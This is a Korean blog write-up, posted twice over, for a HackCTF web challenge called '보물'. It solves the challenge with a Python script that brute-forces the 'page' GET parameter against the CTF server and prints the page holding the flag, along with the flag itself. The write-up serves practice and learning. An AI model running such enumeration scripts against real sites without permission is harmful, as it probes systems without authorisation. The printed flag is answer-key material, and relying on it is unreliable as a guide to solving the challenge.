[ Web ] 보물 write-up 본문

Web

[ Web ] 보물 write-up

disso1p1 2020. 11. 11. 14:25

 

 

 

 

 

main 화면이다. 페이지 어딘가에 보물을 숨겨둔 것 같다.

 

 

Page 1 버튼을 누르면 GET 방식으로 page 변수에 값을 넣어 확인한다.

 

이 page 값을 브루트포싱해서 flag 값을 얻어내면 되겠다.

 

 

[ exploit ] 

import httplib

headers={'content-Type':'application/x-www-form-urlencoded','cookie':''}
conn=httplib.HTTPConnection('ctf.j0n9hyun.xyz',2025)

for i in range(4000):
	conn.request('GET','/?page='+str(i),'',headers)
	res=conn.getresponse().read()
	print i
	if 'HackCTF' in res:
		print res
		break

 

page 의 값을 증가시키면서 응답 받는 html 코드에 HackCTF 라는 문자가 있으면 그 값을 출력해준다.

 

1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
<style>
body {background-color: white;}

.center {
  display: block;
  margin-left: auto;
  margin-right: auto;
  width: 50%;
}
</style>

<body>
<h1 align="center" style="margin-top:20px">보물</h1>
<p align="center">내 페이지 숫자 중엔 비밀이 하나 있지...그곳에 보물을 숨겨놨다. 원한다면 찾아봐라 모든 것을 그곳에 두고 왔다!</p>
<img src="treasure.jpg" class="center" style="width:300px;height:234px"></img>

<div align="center">

<form action="/" method="get" style="display:inline-block;">
    <button type="submit" value="1" name="page">Page 1</button>
</form>

<form action="/" method="get" style="display:inline-block;">
    <button type="submit" value="2" name="page">Page 2</button>
</form>

<form action="/" method="get" style="display:inline-block;">
    <button type="submit" value="3" name="page">Page 3</button>
</form>

</div>

</body>
<p align="center">
HackCTF{0hhhhh_5o_g0od_try!}</p>

disso1p1@ginmoo:~/$

page 1225번에 flag 값이 있다.

 

 

 

 

 

main 화면이다. 페이지 어딘가에 보물을 숨겨둔 것 같다.

 

 

Page 1 버튼을 누르면 GET 방식으로 page 변수에 값을 넣어 확인한다.

 

이 page 값을 브루트포싱해서 flag 값을 얻어내면 되겠다.

 

 

[ exploit ] 

import httplib

headers={'content-Type':'application/x-www-form-urlencoded','cookie':''}
conn=httplib.HTTPConnection('ctf.j0n9hyun.xyz',2025)

for i in range(4000):
	conn.request('GET','/?page='+str(i),'',headers)
	res=conn.getresponse().read()
	print i
	if 'HackCTF' in res:
		print res
		break

 

page 의 값을 증가시키면서 응답 받는 html 코드에 HackCTF 라는 문자가 있으면 그 값을 출력해준다.

 

1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
<style>
body {background-color: white;}

.center {
  display: block;
  margin-left: auto;
  margin-right: auto;
  width: 50%;
}
</style>

<body>
<h1 align="center" style="margin-top:20px">보물</h1>
<p align="center">내 페이지 숫자 중엔 비밀이 하나 있지...그곳에 보물을 숨겨놨다. 원한다면 찾아봐라 모든 것을 그곳에 두고 왔다!</p>
<img src="treasure.jpg" class="center" style="width:300px;height:234px"></img>

<div align="center">

<form action="/" method="get" style="display:inline-block;">
    <button type="submit" value="1" name="page">Page 1</button>
</form>

<form action="/" method="get" style="display:inline-block;">
    <button type="submit" value="2" name="page">Page 2</button>
</form>

<form action="/" method="get" style="display:inline-block;">
    <button type="submit" value="3" name="page">Page 3</button>
</form>

</div>

</body>
<p align="center">
HackCTF{0hhhhh_5o_g0od_try!}</p>

disso1p1@ginmoo:~/$

page 1225번에 flag 값이 있다.

Comments